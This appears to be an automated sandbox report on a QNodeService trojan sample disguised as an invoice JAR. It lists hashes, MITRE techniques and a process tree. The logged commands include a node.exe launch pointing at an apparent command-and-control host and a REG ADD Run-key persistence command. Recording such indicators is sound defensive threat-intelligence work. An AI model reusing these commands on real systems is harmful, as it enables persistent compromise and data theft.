qnodeservice | 835834081946ec9778c7ac1255b166c5f2c25729e23d06305a9b28670415497d

General

Target

380000_USD_INV_011740_NOV_2020.jar
Size

54KB
MD5

48fb2549992cb437906bf66ac6a28e9e
SHA1

7b6b367c992c71f2f28c6b5b02869c0519899e64
SHA256

835834081946ec9778c7ac1255b166c5f2c25729e23d06305a9b28670415497d
SHA512

440530a9ebf2bb6b13f88039c05da530e55c2cade41ff9c13eea3682c7435f2a379d1b01ae433000c790ac97be9be9f2af9bbc419e6189237e9a7b3d88c54308

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
200	node.exe
2336	node.exe
2060	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ac775875-a98d-45d1-9f6d-121c5f6bd889 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab60-169.dat	js
behavioral2/files/0x000100000001ab60-175.dat	js
behavioral2/files/0x000100000001ab60-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	wtfismyip.com
26	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
200	node.exe
200	node.exe
200	node.exe
200	node.exe
2336	node.exe
2336	node.exe
2336	node.exe
2336	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 1576	984	java.exe	76
PID 984 wrote to memory of 1576	984	java.exe	76
PID 1576 wrote to memory of 200	1576	javaw.exe	80
PID 1576 wrote to memory of 200	1576	javaw.exe	80
PID 200 wrote to memory of 2336	200	node.exe	82
PID 200 wrote to memory of 2336	200	node.exe	82
PID 2336 wrote to memory of 2060	2336	node.exe	83
PID 2336 wrote to memory of 2060	2336	node.exe	83
PID 2060 wrote to memory of 2376	2060	node.exe	85
PID 2060 wrote to memory of 2376	2060	node.exe	85
PID 2376 wrote to memory of 2476	2376	cmd.exe	86
PID 2376 wrote to memory of 2476	2376	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\380000_USD_INV_011740_NOV_2020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:984
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b23661d6.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain gatherlozx.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:200
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_aVImy2\boot.js --hub-domain gatherlozx.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2336
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_aVImy2\boot.js --hub-domain gatherlozx.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2060
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ac775875-a98d-45d1-9f6d-121c5f6bd889" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2376
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ac775875-a98d-45d1-9f6d-121c5f6bd889" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2476

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/200-172-0x0000027EC97C0000-0x0000027EC97C1000-memory.dmp

Filesize
4KB

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memory/2060-180-0x000000722F540000-0x000000722F541000-memory.dmp

Filesize
4KB

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memory/2336-176-0x000000529EBC0000-0x000000529EBC1000-memory.dmp

Filesize
4KB

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